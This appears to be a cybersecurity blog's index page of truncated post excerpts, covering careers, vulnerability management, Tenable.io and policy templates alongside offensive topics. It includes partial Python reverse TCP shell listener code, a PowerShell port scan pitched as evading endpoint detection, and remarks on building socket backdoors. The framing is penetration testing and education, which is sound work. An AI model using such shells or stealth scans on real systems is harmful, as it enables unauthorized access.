Is Cybersecurity recession proof? R. Eric Kiser Is cybersecurity recession proof? The impact of a recession on the cybersecurity industry is not straightforward and can be elastic. While it’s true that some organizations may experience budget constraints and cut back on their spending on cybersecurity measures during a recession, it does not mean that the demand for cybersecurity professionals will decrease across the board. In fact, the opposite may be true in some cases. If you work for an organization the probability of a recession causing a lay off will depend on how you add value to the organization. Is there something that you specialize in that is required for business to function? In other words how do you affect the bottom line. Do your efforts increase profits? Have you been vocal in providing those metrics? If not I highly recommend that you begin to look at the ways you make the company money. Difficulties finding a cybersecurity job during a recession Du...

  Python Script to search for YouTube Data trends R. Eric Kiser As a subject matter expert, I wanted to gain insight into the topics that my readers and students are interested in. Given the increasing popularity of video platforms such as YouTube, I decided to use a Python script to pull data from Google Trends on a specific topic of interest, “hacking.” This script allows me to understand the current trends and popular search queries in the field, and tailor my content to align with the needs and interests of my audience. Below is the simple script that I created. I tend to do more with the project but that is for another day. import requests from pytrends.request import TrendReq # create a new instance of the pytrends class pytrend = TrendReq() # prompt for keyword keyword = input ( "Enter a keyword to search for data trends: " ) # set the parameters for the trend search kw_list = [keyword] timeframe = "today 1-m" # get the trends pytrend.build_payloa...

  PowerShell System Port Scans R. Eric Kiser During a penetration test, it’s common to use various types of scans to identify vulnerabilities and potential entry points. However, many organizations have endpoint security measures in place that can block or detect these scans. In these cases, a more sophisticated and targeted approaches are needed. I call this the “Swedish carving knife” method, versus using a broad and blunt “hatchet” method. One solution to this is to use PowerShell to perform a simple port scan, which can often evade detection and provide valuable information about open ports and potential vulnerabilities. The script provided will gather the IP address of the system and perform a targeted port scan. By specifying the specific ports you wish to scan, the process is made more efficient and stealthy, which can make it faster and less likely to be detected. $ ip = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString Wr...

  Write Python Reverse TCP Shells in less than 5.1 Min R. Eric Kiser Disclaimer: for research purposes and connections to devices you own. To write a reverse TCP shell in any language you will need two programs, the server and the client. You need to run the server (listener) on your device and run the client on computer you want to connect to. Python is often allowed on most systems. Reverse TCP Shell Server Example import socket HOST = '0.0.0.0' # Listen on all interfaces PORT = 4444 # Port to listen on s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen( 1 ) # Listen for only one connection print ( f'[*] Listening on {HOST} : {PORT} ' ) conn, addr = s.accept() print ( f'[*] Connection from {addr[ 0 ]} : {addr[ 1 ]} ' ) # Start a shell while True : command = input ( "$ " ) if command == "exit" : break conn.send(command.encode()) data = conn.recv( 1024 ).dec...

Python Sockets Bind vs Connect R. Eric Kiser A fellow nerd buddy of mine once told me how much he wanted to “know” his new lady friend. I laughed and responded with some simple advice. Teddy, before you can make a connection you have to offer her a binding agreement. (Like if you get this) I have created several successful python connections for penetration testing in my career. However, I still get asked to create a “trojan” or “backdoor” by would be scrip kiddies. I shrug my shoulders as each person has their method for obtaining information and this is a rather simple task if by reading some Python documentation. Still building out tool in different ways is a fun task. The key to a good “backdoor” is knowing how to use the socket module in Python. The interesting thing is this usually is allowed on most networks as it is a legitimate way of connecting two systems. However, it get tricky if you are connecting outside the network. I find a HTTP request module to a form i...

  Cyber Incident Response Workflow Diagraming Tools R. Eric Kiser There are several diagram drawing tools available on the market today that can be explored. Two very common drawing tools, Microsoft Visio and Draw.io tend to dominate the arena. Draw.io is a free, web-based diagramming software that allows users to create a variety of diagrams, including flowcharts, mind maps, network diagrams, and more. It is web application or as a standalone desktop application for multiple operating systems. Draw.io provides a range of templates and shapes to help users create professional-looking diagrams quickly and easily. It also has a range of collaboration features, including the ability to share diagrams and work on them with others in real-time. Draw.io supports a number of file formats, including .png, .svg, .pdf, and .xml, and can be integrated with other applications through its API. Microsoft Visio is very similar to Draw.io but is the proprietary and a part of the Micr...

  Vulnerability Identification Techniques R. Eric Kiser Vulnerability detection can often be automated through the use of tools such as vulnerability scanners. While these tools can be useful, it is important for organizations not to rely solely on automated techniques and to also incorporate more comprehensive methods in their vulnerability detection efforts. Failing to do so could result in the organization missing vulnerabilities that could potentially lead to data breaches. There are a number of methods that can be employed to identify vulnerabilities in target systems Penetration Tests A penetration test, also known as a pen test, is a simulated cyber attack on a computer system, network, or web application to test its defenses and identify vulnerabilities that an attacker could exploit. This is much more than just a scan as the pen tester intends to find a method of getting foothold on your internal network or sensitive data by acting as a real attacker would. T...

  Vulnerability Management Tool Review — Tenable.io R. Eric Kiser Tenable.io is a widely used vulnerability management tool that offers a comprehensive view of an organization’s vulnerabilities, including both technical and non-technical vulnerabilities. It provides tools for prioritizing and remediating vulnerabilities, making it easier to manage and reduce risk. However, it is important to conduct a cost-benefit analysis before procuring any product, and to seek out honest reviews from independent sources. Personally, I use Tenable.io as one of the vulnerability management tools at my organization, along with OpenVas and Rapid7. Benefit Tenable.io is a user-friendly vulnerability management tool that is easy to set up, even in a large organization. The support team is available to assist during the process. In my experience, the initial set up was smooth. While Tenable.io does offer automated remediation, it was not a viable option for my organization due to concern...

  Integrating Vulnerability Management into the Risk Management Strategy R. Eric Kiser Your organization has identified vulnerability management as a crucial issue to address. While many auditors conduct vulnerability scans, these scans may not accurately reflect the actual risk posed by a particular vulnerability. Many auditors use the common vulnerabilities and exposures (CVE) score. This can be a great baseline, and bring attention to the issue. However, a critical vulnerability may be mitigated by multiple layers of defense, but still be detected as critical, while a moderate vulnerability on a web server could potentially result in data leakage. In addition, organizations will often ignore the blue informational misconfigurations that can lead to data breaches. To prioritize remediation efforts and allocate resources effectively, it is important to assess the actual risk posed by each vulnerability, taking into account the specific context and potential impact. Wh...

  Creating a Vulnerability Management Policy R. Eric Kiser zartech.info Vulnerability management is a crucial concern for every organization. While there are many commercial scanning tools available, they can be expensive, produce a high number of false positives, and be difficult to use without proper training. Some organizations try to use open-source tools like OpenVas and build their own vulnerability management systems, but this can be challenging, especially when it comes to integrating data from these tools with patch management systems. It is still important for organizations to create a vulnerability management policy to address these issues. An example of what a vulnerability management policy should include is provided below. This can serve as a starting point for organizations to develop their own vulnerability management plans and communicate their expectations to developers or vendors. Organizational Vulnerability Management Policy Purpose The goal of the...